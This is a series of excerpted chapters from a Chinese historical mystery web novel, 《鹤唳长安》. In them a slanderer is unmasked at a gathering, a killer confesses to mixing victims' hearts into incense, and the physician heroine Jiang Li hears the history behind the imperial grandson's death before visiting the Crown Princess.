付云珩扬了扬下颌,徐令则便往对岸看去,这一看直令他面上青白交加,眼神簇闪道:“阿慈……哦不,付姑娘身体无恙便好,关于那污名,若她清白,自然早晚能洗清。” “若她清白?!”付云珩咬牙道:“原来你一直都不信我姐姐,那日在我们府上所言,不过是道貌岸然之语,回府一日便定下了退婚之策,你真是好啊——” 当着这么多人的面争执,徐令则面上挂不住,当下便道:“裴大人,既然火已灭,凶手也被抓住,那我们就先——” 他告辞之语尚未说完,对面露台之上却起骚动,听出不对,裴晏和付云珩几人都看了过去。 …… 庆阳公主不走,其他夫人小姐也随了她,但余妙芙站在人群中,面色却越来越白,她拉着江佩竹的手道:“佩儿,不如我们先走一步吧。” 江佩竹拉着她不放,“走什么走,咱们 现在走,可真是不明不白的,自要知道那凶手用人心制香是真是假才对,何况公主殿下都不走咱们却先走了,岂非显得殿下异类?你看看其他人,可都是跟着公主殿下留下的。” 余妙芙咬牙道:“那、那我先走——” 江佩竹却不依,拽紧她道:“你别怕啊,现在凶手被抓住了,除了这案子还有别的乐子可看呢,你看对面是不是徐将军家的公子?我记得他祖母可是你的姑祖母,你们平日里来往可多?” 余妙芙眼睫轻动,忙望向对面,见来的真是徐令则,她不禁面色一缓,又欲言又止道:“是,是他,不过我平日不常去徐家……” 江佩竹笑起来,语声一扬道:“咦,那对面是不是徐公子来了!” 她此言一出,所有人先看向对面,看清徐令则后,又神色各异地看向付云慈,见她面白如纸眉眼戚然,愈发私语纷纷。 “到底是因私通之名被退婚,说是报了官,可的确没个说法……” “是啊,再如何喊冤,可那流言也不是凭白无故来的吧?好端端的,有谁会处心积虑害她?这可是极损阴德之事……” “可不是,徐家和付家不是相交多年的世交吗?若她是清清白白的,徐家怎么会选择退婚呢……” 露台三五丈宽,低低的说话声彼此都听得清楚,付云慈再见徐令则本就心绪难平,再听着这些难以反驳之言,屈辱顿时如潮水般涌了上来,她语声微微发抖道:“桐儿,我们先走吧……” 虞梓桐愤然道:“你无错为何要走?错的是污蔑你之人。” 江佩竹与虞梓桐早有嫌隙,闻言冷笑道:“说的好像全天下人都想害云慈一样,怎么别人没传出那无耻之名,偏偏就她传出来?” 虞梓桐忍了江佩竹半晌,此时上前两步,“江佩竹,阿慈哪里对你不住你要如此伤她?挑拨是非,搬弄口舌,你与下九流无赖有何异?” 虞梓桐将门之后,身量高挑,亦会拳脚功夫,她不管不顾痛骂,江佩竹心底虽是害怕,可当着众人之面却不愿露怯,于是她也上前,“你放肆,你——” 余妙芙拉着江佩竹,“好了佩儿,不要与虞姑娘计较,这是云慈的私事,不宜拿出来宣扬……” 这话颇有歧义,看似温和劝架, 第 22 章 姐姐 《鹤唳长安》全本免费阅读 死一般的寂静后,露台上哗然沸腾起来—— 余妙芙所言犹如一响惊雷,江佩竹第一个不敢相信,“阿芙,你是说你和徐公子……可、可他不是早就和云慈定亲了吗?” 江佩竹嘴比脑子快,问完才意识到了事情的严重性,而庆阳公主早就看明白一切,喝问道:“余妙芙,你是和徐令则私定终身?!你为他有了身孕,因此才叫人用私通之名去栽赃云慈?!” 余妙芙泪如雨下,站在人群后的徐令则断然道:“不!不是!表妹,你我虽有表亲,可你说话得说清楚,莫让大家误会你我!” 他面色铁青地上前两步,克制着语气道:“表妹,你快向大家解释清楚,出了这等事也不宜在此久留,我待会儿送你回伯府。” 余妙芙死死地盯着徐令则,泪涌更汹,“表哥,你这是不认吗?” 徐令则咬牙道:“我认什么?你知不知道自己在说什么?你不晓得与谁做下这等丑事,我能认什么?若非看在与你有表亲,我真是……” 余妙芙瞪大眼睛,也豁出去道:“表哥!你非要我把你我之事揭个明明白白吗?四月之前,若非是你心猿意马诱我,我又怎会与你……” 众目睽睽之下,徐令则面上青红交加,一旁的付云慈听得目瞪口呆,付云珩更是怒不可遏,他上前两步,一把揪住徐令则的衣领,“徐令则!你好啊,你与我姐姐婚事将近,可你却敢与别的女子私通,难怪你徐家退婚退的快呢!却原来理亏的是你,私通的是你!你这个混账王八蛋——” 付云珩一拳打过去,只打的徐令则一个踉跄鼻血喷涌,付云珩尤不解气,又上前揪住他,“是不是你?!是不是你为了余妙芙肚子里的孩子,想要逼我姐姐退亲,所以才恶意污蔑她?!你好狠的心,我们两家世交多年,你却为了此女差点害死我姐姐!” “我没有,我不是,我没有造谣——” 付云珩拳脚功夫利落,徐令则虽能与他一战,可众人环视之下,本就理亏的他更不敢轻举妄动,“我怎会给你姐姐栽赃那等恶名,是她,是她用心歹毒——” 见徐令则指着自己,余妙芙气的眼前发黑,眼见事情已到了无法收拾的地步,她只得拼死一搏,“表哥何必将自己摘得干干净净?表哥后来不是知道内情了吗?表哥 不是也不愿官府查到我身上吗?事到如今,表哥弃我于不顾,可曾想过我腹中骨肉?” 她小腹剧痛,身下裙摆已被鲜血染红,又因动怒,血色溢的更快,眼见她满脸冷汗,身子也止不住的发抖,姜离冷声道:“徐公子是要逼死余姑娘落个一尸两命吗?她已有小产之兆,若眼下就医,还有一线希望保住胎儿。” 徐令则目瞪如铃,可看着余妙芙奄奄一息的样子,到底不能当着众人之面把事情做绝,付云珩看了余妙芙一眼,又猛地一拳打向徐令则,只听一声痛哼,徐令则被打翻在地,鼻梁亦歪去一旁。 付云珩拍了拍手痛骂,“你这狼心狗肺私德败坏之辈,打你都算脏了我的手,从此往后你我两家恩断义绝,我倒要看看你们徐家何时纳这位怀你骨肉的新妇,你二人一个歹毒一个无耻,倒极是相配——” 人群中传来几声低低的叫好,姜离冷眼道:“徐公子,这外面地冻天寒,劳你把余姑娘抱进屋子里去,再晚点她的性命也难保。” 当世男女大防虽不比百年前严苛,可如今余妙芙与徐令则有染,其他人便是救苦救难的活菩萨,此刻也万不敢沾余妙芙半分,因此,这救人的重任自就落在了徐令则身上,数十道目光注视着,徐令则心知事情已无可挽回,若再落个逼死余妙芙的名声,那更是万劫不复,于是他只得咬牙爬起,抹了一把鼻血,颤巍巍将余妙芙抱了起来。 他本就沾了满身雪泥,此刻鼻梁歪斜红肿,再加上余妙芙身上的血污与他狼狈狰狞的丑态,哪还有半分巡防营少将军的影子?付云慈看着他走向不远处的厢房,待从震惊之中回神后,心底竟无委屈凄楚,反生出劫后余生之释然。 有相熟的夫人上前安慰,又有年轻的姑娘为她打抱不平,江佩竹心知自己怪错了人,一时心虚地躲去了人群最后,付云慈呼出一口气,道谢后说,“到底孩子是无辜的,还是去看看余姑娘能否保住她和徐公子的骨肉吧。” 此言由她口中道出,自是万分讽刺,众人过连廊到了喜阁以东的厢房,刚走到门口,便听里头余妙芙连声痛叫,徐令则耷眉丧眼站在门口,说是丧家之犬也不为过。 裴晏立于檐下吩咐道:“兹事体大,来人,立刻去庆安伯府和徐将军府上走一趟,再把那两个小厮带上来——” 厢房之内,余妙芙被放在窗前罗汉榻上,姜离为其诊脉,庆阳公主也带着侍婢在屋内照看,眼见姜离神容冷静,手法利落,庆阳公主欣然问:“薛姑娘,如何?她可有保住孩子的希望?” 姜离沉声道:“幸而余姑娘有孕三月有余,尚有希望,此刻我先施针止血,再开方为其保胎,倘若三日无恙,那孩子便可保住。” 庆阳公主点了点头,又往窗边走了两步,便见窗外众人聚在一处,那两个小厮也被带了过来,裴晏严声相问,二人哆哆嗦嗦不敢撒谎。 “小人李其,冬月十一那夜,小姐从徐家回来便把小人叫到了跟前,说让小人去东市,找些人多的酒肆茶肆,宣扬寿安伯府大小姐与人在玉真观私通之事,小人也不知到底有无此事,一切都是照着小姐交代行事,后来小人还找了些小叫花子,一人给几文银钱,让他们也去各处宣扬,等第二日天亮,此事果然传遍了长安,直到六日之前,小姐说事情有些变故,以防万一,让小人与王群躲去城外庄子上……” 此人说完,另一人道:“小人王群,冬月十二那日,得小姐之令去玉真观打听寿安伯府大小姐当日与下人走散的事,探问了一圈也没问出什么来,回府禀告之后,小姐又让我们二人一起去散播私通之事,我们跑了西市和城南几处热闹地,后来听闻大理寺在调查此事,小人们也十分心虚,本以为躲去庄子上便没事了。” 二人供认不讳,众人都朝付云慈投去了同情的目光,徐令则也万念俱灰地看向付云慈,可付云慈面若冰霜,哪里还会看他一眼? 虞梓桐愤然盯着屋内,“好一个杀人不见血的毒妇,如今让她遂了愿了,却不知有福之女不进无福之家,老天爷也知道什么样的人最相配,徐公子一定很心痛吧,这可是你们徐家的骨血……” 徐令则脑袋低垂,只恨不能遁地而去,这时裴晏摆了摆手,两个小厮皆被带了下去,他转身看向屋内,只听见余妙芙的痛呼声渐渐弱了下去。 有人惊道:“不会出事吧,可是流了不少血。” 又有人道:“不会的,薛家大小姐可是能起死回生的神医,孩子说不好,但一定不会让大人出事,等等便知道了……” 话虽如此,但众人皆目光凝重地盯着门口,今日看戏是看戏,但若真出了人命,却极是 不吉,无人真想看余妙芙落个一尸两命。 等了片刻,门扉半开,庆阳公主在门内道:“血已止住了,余妙芙人也醒了,余家人来了没有?” 裴晏道:“还未来。” 庆阳公主眉头皱起,又看了一眼徐令则,无奈道:“令则,你本为年轻一辈翘楚,为何偏偏走了这么一条路?事到如今,你回去之后可得好好想个妥善之策。” 徐令则脑袋快垂去地上,“我……是,令则遵命。” 其他人没做声,可看着徐令则的目光已极是轻鄙,正说着话,外间快步行来四五人,九思上前来道:“公子,徐家来人了,徐家离得近来的也快。” 众人望过去,便见未看到大将军徐钊,来的竟是个年长老妈妈领着三个仆人,待人被带到跟前,那老妈妈行礼道:“拜见公主殿下,拜见大人,消息传回府上,我们将军和夫人不在家,老夫人又病重,没法子,只好派了奴婢前来应话,余姑娘虽是我们府上表亲,但姑娘和公子的事长辈们并不知情,若有错处,请公主殿下和大人责罚便可。” 这话说的中肯,却惹得庆阳公主一笑,她素来纵情恣意,此刻也快人快语道:“余妙芙刚才可是说你们知道内情呢,你们和付家退婚也得要长辈拍板吧?要本宫看你们此事做的极不地道,徐钊这两年升得快,可只怕一门心思用在官场上,却耽误了教导孩子。” 她这话颇为严厉,老妈妈吓得跪倒在地,庆阳公主摆了摆手,“算了,这些事到底不是本宫能管的,只是本宫从前还算喜欢这两个小辈,如今却是失望。” 屋内已清醒的余妙芙听着门外所言,只能咬牙流泪,这时,她目光一转看向床边净手的姜离,想到好歹是姜离救了自己,她犹豫一瞬,轻声道:“听闻薛姑娘常去寿安伯府看诊,那想来与寿安伯府的关系更近,可刚才姑娘为何要帮我?” 姜离擦着手转身,“姑娘认为我是在帮你?” 余妙芙红着眼道:“你说徐家能退付家的婚事,便不会容名声尽毁的我,这难道不是说今夜是我唯一的机会,让我抓住表哥的心吗?” 姜离唇角噙起一抹淡笑,眼底却是冷冰冰的,“那姑娘便当我是在帮你吧。” 余妙芙有些莫名,姜离一边披斗篷一边道:“姑娘好自为之。” 她说完抬步朝门口而去,余妙芙看着她清秀笔挺的背影,却忽觉一股子凉意漫了上来,适才惊恐之下六神无主,姜离所言似是唯一希望,然而此刻冷静下来,她才意识到自己究竟做了何等蠢事,哪怕她有孕之事露于人前,可好歹姑祖母早认定她,她只要怀着徐家的骨肉,姑祖母绝不会弃她不顾,而徐家在御前炙手可热,便是姑祖母也将徐家的前程看的比什么都重,而她却将此弥天丑事揭于人前,若坏了徐令则父子的前程,她即便逼得徐令则纳了她,那姑祖母和徐家人又会如何待她?! 余妙芙禁不住发起抖来,眼看着姜离要走去门口,她哑声道:“为什么……你、你是不是有意的……” 姜离脚步微顿,回头看她,“姑娘忘了适才是我替你保住了孩子吗?” 姜离的目光分明清凌凌的并无情绪,可余妙芙却被她看的心口发窒,她语难成句道:“可、可是如此一来表哥他只怕……” 姜离微微一笑,“姑娘受了惊吓实在多思了,如今姑娘身体欠安,多思一瞬,腹中胎儿便危险一分,姑娘好自为之吧。” 她说完抬步而去,只留下余妙芙躺在榻上又惊又怕。 出了门,姜离看向徐令则道:“徐公子,余姑娘需保胎半月,方子我已经开好,待会儿庆安伯府的人来了,用或不用全在你们。” 怀夕跟着递上方子,徐令则看着那薄薄一张纸,却觉似烫手山芋一般,迟疑片刻才接了过去,这时其他人上前来,纷纷感叹起姜离医术来。 “没想到流了那么多血,还是被薛姑娘救了回来……” “薛姑娘不愧是江湖上鼎鼎大名的神医,那余姑娘,哎,说一句品行卑劣都是好听的,姑娘却仍能施以援手……” 姜离坦然道:“案子官府自有定论,是非曲直诸位也有公断,我既为医者当有医德,除非是即将行刑的死囚,否则不好见死不救。” 她言辞沉静有力,听得众人信服,庆阳公主便道:“医者仁心,若薛姑娘今日真袖手旁观,那以后可没人敢请姑娘看病了。” 众人纷纷附和起来,这时不远处又进来一行人,当首一人是个面相敦厚的中年男子,其后跟着四个手抱锦被的老嬷嬷,几人急匆匆小跑而来。 “小人余庆拜见公主殿下,拜见裴大人 ,我们伯爷和夫人近日身染风寒实在不能出门,今日之事伯爷和夫人已经知晓,二人愧责不已,眼下命小人们先将四小姐接回看诊,明日官府有何处置,伯爷和夫人绝不拦阻,还请公主殿下和裴大人开恩。” 庆阳公主笑道:“这可真是巧了,你们两家商量好了似的,鹤臣——” 到底是大理寺在调查此案,庆阳公主便看裴晏之意,裴晏道:“你府中人证已经捉拿归案,业已招认主犯,但余姑娘眼下的情形也的确危险,便容你们将人带回,明日自会再行传召。” 余庆千恩万谢,带着几个嬷嬷进了门,不多时,便见四人用锦被裹着余妙芙抬了出来,余妙芙头埋在锦被之中,自是在无脸见人,裴晏这时看向徐令则,“徐公子也去吧,关于寿安伯府小姐的案子,明日自会诏你问证。” 徐令则早恨不得消失,应声后跟着余家人一同离去。 待两家人走远,众人面面相觑一瞬又议论起来, 第 23 章 噩梦 《鹤唳长安》全本免费阅读 “这是你姐姐亲笔字迹,就藏在她妆奁暗盒之内,应是她写好藏起,打算寻个万全之法退婚,但可惜,她还未来得及送出,便死在你刀下。” 裴晏目若寒剑,康景明哀哭道:“不,我不是有意的,是她,是她发现了我的香谱,斥我染指邪魔歪道,若是往日,我怎会因香谱与她争执?可她就要离我而去,浮香斋也是她一手经营起来,等她一走我还有何依仗?我不愿给她香谱,我甚至以死相逼,那把刀是我用来伤自己的,我怎么忍心伤她……” 康景明痛不欲生,裴晏定声问:“什么香谱?” “是我派人从西梁寻来的香谱,只是、只是传言其上记载多为百年前魔教修炼邪功所用,会令人误入歧途,姐姐正是得知这些后才勃然大怒……” 康景明哽不能言,裴晏道:“那香谱如今何在?所以你姐姐是被你误杀?” 康景明点头:“我与她为了抢夺香谱拉扯起来,后被地上火笼绊倒,等我反应过来时,便见随手抄起的香刀已刺入她胸口,那本香谱也掉在火笼中烧毁大半,后姐姐就此断气,我悔不当初,却不敢叫人知晓她已殒命,只好先将她的遗体藏了起来,旁人还好说,翠竹却瞒不过去,第二日她发现了破绽,于是我只好一不做二不休……” “翠竹死后,我惶然无措,康青为我所救,对我忠心不二,也只有他知道我对姐姐的旖念,后来他便说,何不让姐姐真的死去,再用其他人的尸体替换?这时我记起香谱所言,说用有情女子的心入香可令人容颜永驻,还能令本不爱你之人回心转意,姐姐虽死了,我却想让她陪我更久些,于是我在康青所言之上,想到了从待嫁新娘身上取心之计,我知道第一个死者的亲属会格外受怀疑,再加上尸体腐烂程度不同,于是,我必须让我姐姐做第二个死者,康青出身戏班,自小会模仿他人声音的口技,我与他正好利用此技杀人。” 康景明心防溃败,有问必答,裴晏又道:“你如何以心入香?” 康景明目光呆滞道:“在制香最后两步,加入磨碎的人心,刚好为了造出奇货可居之势,一颗人心也制不了多少香,于是,我定下了那限量发售的法子,却不想此举果然令浮香斋的名头一日千里……” 裴晏朝外间看了一眼,“你的意思是,所有限量之香皆加过 人心?” 康景明木木点头,又一错不错地看着裴晏拿着信纸的手,这时裴晏将信交给卢卓,走出喜阁道:“公主殿下和诸位疑问可解了?时辰已晚,更细致的问证也暂不便公示,公主殿下和大家都请回府歇下吧。” 此时早过了二更天,在场的夫人小姐们最为关心的也是哪些香脂加了人心,如今有了定论,有人松了口气,大部分人则都骇然作呕。 庆阳公主青白着脸道:“也好,眼下也确无留下必要,若还有何乱子与香膏有关,鹤臣,你得派人知会我一声,我实不想被耍弄的不明不白。” 裴晏应好,庆阳公主这才当先离去,她一走其他人自是跟从,薛沁本有意等着姜离,却见姜离与付云慈几人站在一起,而裴晏道:“付姑娘请留步。” 众人闻声只以为是为了余妙芙污蔑诽谤的案子,皆不以为意,薛沁见付云慈驻足,虞梓桐与姜离也未动,轻哼一声后先一步转身离去。 等其他人走远,裴晏道:“再审问下去,康景明必将交代玉真观之行,按此前对寿安伯之诺,此事我不会记录在案,你们可安心,余妙芙的案子大理寺会按章程办,但案子呈报御前后有何论断,尚难保证。” 付云珩一听便明白,“鹤臣哥哥你放心,我们府上虽不比徐家在御前得脸,可送几封弹劾折子还是容易的。” 裴晏颔首,目光一转看向姜离,“此番幸有姑娘相助,待案子初定我再登门致谢。” 姜离敛着眉目,“举手之劳罢了,大人不必在意。” 裴晏视线停留在她身上,正要再说什么,一旁付云珩道:“姐姐先回府,晚些时候我回去再与你说这贼人如何交代的。” 付云慈便道:“此番多谢裴少卿了,那我们就先告辞了。” 裴晏应是,付云慈三人一道朝浮香斋的方向走去,虞梓桐边走边感叹,“怎么也想不到,竟是这对狗男女在害你,也幸好退了婚,今日又当众揭了丑,往后再没人敢拿此事欺负你,我倒要看看他们如何收场。” 付云慈苦笑道:“这么些年,终究是看错了人。” 说着她又握住姜离冷冰冰的手,“薛姑娘,此番最该感激的人是你才对,我知道你连日奔波,如今这案子水落石出了,改日我在府中设宴正式拜谢你。” 姜离失笑,“何须如此?我为医家,治病救人本是应该。” 付云慈摇头:“救人是你医家之责,可帮我查案子呢?” 问至此,姜离语声深长起来,“今次虽有官府查证,可大抵我来自江湖,对官府并不尽信,何况这世上公道与真相从来难得,越是难得,我越习惯靠自己去求证,所幸裴大人秉公严明,如今一切有了定论,也还了你清白。” 虞梓桐听得不住点头,“薛姑娘所言极是,不过今日我没想到裴鹤臣竟能当众审问那二人,事情牵扯庆安伯府和徐府,但凡换个人都求个大事化小为重,免得为自己惹来祸端,且他往日从来恪守规程,今日也算破了例。” 姜离听得若有所思,付云慈道:“你回长安也没多久,与他交集亦少,不知这几年裴少卿已变了许多,再不似往日白鹭山书院的他了。” 虞梓桐耸耸肩,语气漠然几分,“是嘛,不过他变的再多,我也不会忘记他欠魏旸。” 付云慈想说什么,可看一眼姜离,到底止了话头,“好了,改日我设宴答谢薛姑娘,你也同来,薛姑娘刚回长安,往后咱们就是她在长安的依仗!” 虞梓桐一笑,“那是自然!我说了,救了你便也是我的恩人呢。” 三人说笑着找到了自家马车,一番道别后,姜离方上了薛氏马车,车厢内一片漆黑,姜离紧靠车璧,平静许久的心腔又窒闷起来,马车之外,长恭正要扬鞭,浮香斋内却忽然跑出一道人影,仔细一看,竟是九思。 九思一路小跑过来,“薛姑娘,这是公子吩咐为您送来的风灯,说您下午去了义庄,回去的路上多半害怕,这盏灯为您照亮使。” 姜离掀开帘络,果然看见九思举着一盏油灯,她微微一愣,怀夕连忙探身接过,“谢谢裴大人了,有灯是再好不过了!” 九思笑道:“姑娘回去路上仔细些。” 姜离点头,“多谢。” 马车走动起来时,车厢内满是昏黄暖光,怀夕看看姜离,再看看手中灯盏,轻声道:“姑娘不怕义庄也不怕死人,但今日起火连奴婢都心有余悸,裴大人送来的这盏灯很是时候。” 姜离盯着油灯,点漆似的瞳底映出跳跃的烛火,胸口那股窒闷也淡了些许,然而看着看着,她秀眉拧起,熟悉的怪异 之感又涌上了心头。 回到薛府之时已近子时,管家薛泰正在门口候着,“大小姐,老爷在书房等您。” 姜离早有所料,拢了拢斗篷往薛琦书房而去,走过两道曲折回廊,便到了薛琦的明理堂,待进了门,便见薛沁和姚氏皆在,见她回来,姚氏起身行礼,薛沁则是红着眼,她换了新衣鬓发半散,一副沐浴过,还刚刚哭过的样子。 姜离欠身请安,“女儿见过父亲。” 薛琦面沉如水,“泠儿,你这几日早出晚归,我原以为你是去寿安伯府给那姑娘治病,却不想你竟然是去帮着大理寺查那新娘屠夫案?!” 姜离点头,真真假假道:“在寿安伯府给付姑娘看诊之时见过裴大人,裴大人请我为他分辨一样香药,后来又帮他验看了两具尸体。” 薛琦一愕,“尸体?大理寺有仵作何需你验尸?仵作是下九流的行当,你是堂堂薛氏大小姐怎能去做那样的事?更别说会沾染晦气令家宅不宁。” 姜离轻愕道:“父亲是御史台之首,是天子近臣,天威泽沐,何等晦气能令薛氏不宁?我虽非仵作,却是医家,医家不光能治活人, 第 24 章 求子 《鹤唳长安》全本免费阅读 姜离着玉色绣辛夷折枝纹堆花袄裙,披月白碧竹云纹斗篷,沉静端庄地坐在马车里,薛琦坐在她对面,怎么看怎么满意,“泠儿虽在江湖长大,可这通身气韵,却与在长安城长大的世家姑娘们别无二致,你师父将你教养的极好,可惜她归隐养病,否则真该接她来长安享福。” 姜离牵唇,“师父她老人家年事已高,也不习惯长安繁华,父亲不必牵挂。” 薛琦本也没有几分真意,闻言笑笑不再提,掀开窗帷朝外看,见朱雀门遥遥在望,他便道:“你姑姑这些年在东宫不易,待会儿见了她,可得谨守规矩。” 姜离似疑惑,“姑姑是太子妃,是未来的中宫之主,怎会不易?” 江湖中人哪懂天家利弊,薛琦不以为奇,解释道:“这一切都要从子嗣说起,你姑姑十六年前嫁与太子殿下,当年便有了身孕,可一年之后孩子出生却是个女儿,虽一早得封安乐郡主,可女儿家在天家有何用?那之后又过了三年,太子妃有过一次身孕,可怀胎三月时孩子未保住还伤了身子,这些年再未有过子嗣。” 姜离面露遗憾,又道:“但姑姑太子妃之位并未受影响,只要太子殿下与姑姑恩爱,难道还有人敢指摘姑姑的不是?” 薛琦苦笑:“傻孩子,皇家哪有不变的恩爱?太子也不可能只有你姑姑一个,除了几位并无子嗣的诏训与奉仪,太子还有一位侧妃宁瑶,这位宁侧妃是兵部尚书宁胥远之女,她比你姑姑晚两年入东宫,却一举得男生下了皇长孙李翊,这位皇长孙天赋绝佳,三岁习文,五岁做赋,当年极得陛下宠爱,刚满五岁就被立为皇太孙,陛下在位年久仍是龙马精神,太子彼时也立了十多年,皇太孙受宠,太子地位更是稳固……” 说至此,薛琦深长一笑,“不过好景不长,后来一场大变,皇太孙过世了,若如此也就罢了,偏偏宁侧妃在皇太孙故去之前还诞下了一子李瑾,这次子虽没有皇太孙的天资,但这几年陛下为了弥补皇太孙的遗憾对他宠爱颇多,一早便封宣城郡王,还时常令他伴驾御前,亲自教他骑射弓马,与当年的皇太孙相比也不遑多让,都说一人得道鸡犬升天,就因为先后两个儿子,宁家得了陛下看重,宁侧妃也极得太子宠爱,你姑姑这些年担着贤德之名稳坐太子妃位,可将来如何却说不好了。” 薛琦说着说着再笑不出来,“你今日入东宫除了知晓你姑姑的处境外,若遇到了太子殿下和宁侧妃,也需谨慎守礼,并且,与皇太孙有关的一切皆是禁忌,不可说不可问,便是听到了别人议论,也万万不敢接言。” 姜离面生疑惑,“皆是禁忌?是因太子殿下和宁侧妃丧子之痛?” 见她目光澄澈并无杂念,薛琦索性道:“不止如此,还因为当年皇太孙并非病逝,而是被人害死——” 姜离佯做惊色,薛琦继续道:“五年前,也就是景德三十四年,长安城生过一场延续了半年的瘟疫,彼时长安死伤数千人,皇宫内外严防死守,身处东宫的皇太孙却不知怎么染了病,为了给他治病,尚药局和太医署的御医皆常驻东宫,可用药三月眼看有了起色,皇太孙却于那年的除夕夜暴病而亡,陛下和太子震怒,一时间在此事中得利之人都成了怀疑对象。” 姜离凝声道:“首当其冲便是姑姑?” 薛琦点头,“你姑姑,还有与太子殿下不睦的肃王殿下,甚至是东宫内因伺候不周而被责罚过的宫女太监,都多少引得怀疑,但幸好彻查之下,查出是当时身为太医令的广安伯魏阶用错了医治之法,致使太孙殿下暴亡。” 姜离迷惑道:“用错了医治之法?” 薛琦点头,“你是医家,当知道即便病症相似,但不同病患治法也不同,而这位广安伯有一门独门针法名唤‘伏羲九针’,这套针法更是千变万化,乃魏氏绝技,而其中最要紧的一套医理,便是针法除了依据病患病症而变之外,还依四时而变。” 见姜离眉眼肃穆,似听得十分认真,薛琦又道:“父亲不懂医道,但大概意思是说,同样的病在春天用的针法,在冬天便不可用,用的不对甚至可夺人性命,而他行针走穴刁钻奇诡,甚至与通用医道相悖,也因此这套绝技外人极难学会,当时给皇太孙用药乃是众人会诊,施针却是他一人,出事后,所有御医皆被禁足严查,本来外人也不确定他针法有何错,但幸好,当时不止他一人会伏羲九针,他有个小徒弟也会。” 姜离呼吸微凝,薛琦唏嘘道:“那小徒弟是她夫人所收,听说当年她夫人很想要个女儿,可也在月份尚小时小产了,同年遇到了那个孤女,便将其收在身边学医,后来那孤女性情极得她喜欢,二人便 将其收做义女求个儿女双全,当时那孤女医术有所成,也知伏羲九针之理,事发之时,她正在看顾皇后娘娘的旧疾,被叫来查问时不知东宫出了大乱,于是问她什么她便说什么,只以为陛下在考较她的医术。” 薛琦嘲弄道:“同样的医理,那小徒弟所言却是截然不同的施针法,其他御医一合计,发觉广安伯那夜施针似乎刻意忽略了他们此前会诊的几点结论,再一琢磨,那不就是广安伯激进贪功用了铤而走险的法子,从而害死了皇太孙?” “如此真相大白,广安伯一家被下狱治罪,你姑姑和肃王也得清白,不过,广安伯在狱中并未认罪,反说自己是被人陷害,还捏造了根本不存在的脉案。宁侧妃做为太孙殿下之母,也不信从未失手的广安伯会平白害死自己的孩子,她当年严词指控广安伯定是受人指使,只是寻不到证据,随着广安伯一家被问斩便不了了之了,但这个心结却是埋下,这么多年,她和你姑姑面上和气,暗地里数次争锋相对,因此你碰见她需得格外小心。” 姜离惊疑不定问:“那广安伯到底是不是受人指使呢?” 薛琦轻啧一声,否定道:“自然不是,当年案子是父亲与三法司同审,那广安伯一直在喊冤,说的是陷害,可没交代任何人出来——” 姜离又问:“那万一他所言不假呢?” 薛琦脸一板,“你这孩子,有谁闯了弥天大祸还能自己承认的?他们伯府上下四十三口人呢,满门抄斩的重刑,你说他敢松口吗?” 他眼睛眯起,凉声道:“太孙殿下的死也是陛下的心病,谁敢牵扯其中?何况当年的案子是钉死的,他那徒弟当时可不知东宫之事,她所言难道还能有假?有这份证供,再加上太医署其他御医说他性子清傲,素来喜欢剑走偏锋,以及三月来的脉案诊断等人证物证,总之广安伯的罪无可辩驳,就是他施针有误。” 薛琦说的斩钉截铁,又道:“父亲给你说这些,是要你不出差错,当年的案子已经钉死在广安伯身上,你适才所问对父亲说说也就罢了,可不要对旁人胡言,因为你姑姑的缘故,薛氏的立场也曾存疑,所以你尤其不能说错话。” 姜离拢在袖中的指节紧攥,面上仍是沉定,“是,女儿明白的。” 薛琦舒出一口气去,只觉这个女儿明明面上 温婉守礼,却又时而透出几分不驯,仿佛这份规矩娴静只是她伪装而出,薛琦仔细看姜离片刻,见她一双眸子清凌凌尽是坦然,只得将这份不驯归结于她长于江湖,骨子里多有不羁。 马车在朱雀门停下时,早有东宫小太监在外等候,见着二人快步迎上来,“拜见中丞大人,拜见大小姐,请随小人来——” 小太监在前带路,姜离跟在薛琦身后,自朱雀门步入禁中,再沿悠长宫道步行一刻钟方至嘉福门,又过崇明、嘉德二门,再沿嘉德殿以东的宫廊入崇教门一路往北,又足行一刻钟后至太子妃薛兰时所居的景仪宫。 景仪宫在储宫以东,殿阁画栋雕梁,殿内珠帘锦绣,姜离刚入正殿,便见多宝阁上错落摆放着数盆幽兰,满室清香怡人,太子妃薛兰时与安乐郡主李嫣坐在西窗之下的贵妃榻边,手执铜剪,正打理盛开的墨兰花枝。 小内侍上前通禀:“太子妃娘娘,中丞大人和大小姐来了。” 薛兰时年已三十六,今日梳如惊鸿翅翼般的高髻,饰以珠钗琳琅,转头看来时,方见其面施丽粉,双眉如黛,一袭品红牡丹花开宫裙衬的她雍容明艳,她唇角噙着淡笑,目光却极有分量地在姜离身上逡巡,见姜离行完礼后,微垂眉目不卑不亢,她莞尔一笑道:“规矩倒是极好,嫣儿念叨你几天了,你来本宫身边。” 薛琦抄手站在一旁,“让太子妃好好看看你。” 姜离依言走近,安乐郡主这时先站了起来,她梳蝉鬓堕马髻,上着绿衫连珠纹褙子,配红黄间裙与天青蒲陶纹纱裙,腰间系着一条珍珠、花钿串连而成的璎珞带,行走间宝石光芒流霞溢彩,她噙着笑,好奇地绕着姜离转了半圈,像在欣赏什么新鲜物件儿。 薛兰时放下银剪,“是在徐州长到十岁?” 姜离应是,薛兰时又问:“除了你的养父母,再没有别的亲属了?” 姜离道:“本还有表叔表婶一家,可今岁水患,他们也遇难了。” 薛兰时深长道:“是啊,也是巧了,今夏一场水患,徐州死伤近万人,你养父母的亲族也无一幸免,令本宫意外的还有你外祖父送的碧玉锁,这么些年竟然不曾丢失,也实在是不幸中的万幸,当年拐子带你南下之时,也未打它的主意?” 姜离之所以被简伯承找到,正是 因一块碧玉长命锁,那块玉锁乃是简老太爷亲手雕刻,后来薛氏报官虽道明小薛泠被拐时携带此物,但并未详细形容其上纹样,因此多年来无人可冒充,那是一块极好的碧色羊脂玉,至今未遗失的确古怪。 姜离定声道:“是因当年养父买下我时,存了一心善念,想着万一我有朝一日需要此物,便为了这唯一一样信物多给了拐子银钱。” 薛兰时站起身来,又绕到了姜离后背处,轻一抬手,抚上了她纤薄的肩胛,“这里的疤痕留了多年,也真是苦了你,当年你被拐时,身上正患着疹病。” 薛氏要认回大小姐自不可儿戏,九月消息传回长安,薛琦无法走脱,便派了薛瑀前往许州接应,除了听简伯承讲述前因后果,确定碧玉锁无错漏之外,薛家的嬷嬷还有验明正身这一道,而最让薛家人确认她身份无疑的,正是后背这处疤痕。 姜离缓声道:“养父说过,当初买我时肩头已被冻伤,他们只以为是冻疮,治了许久才好,因耽误太久便留下了这道疤痕。” 薛兰时微微一笑,收回手重新落座,“你是个幸运的孩子,这些年虽流落在外吃了苦头,可也学了本事,本宫听闻你刚回长安便医治了不少人。” 姜离应是,薛兰时便问:“擅治何病?” 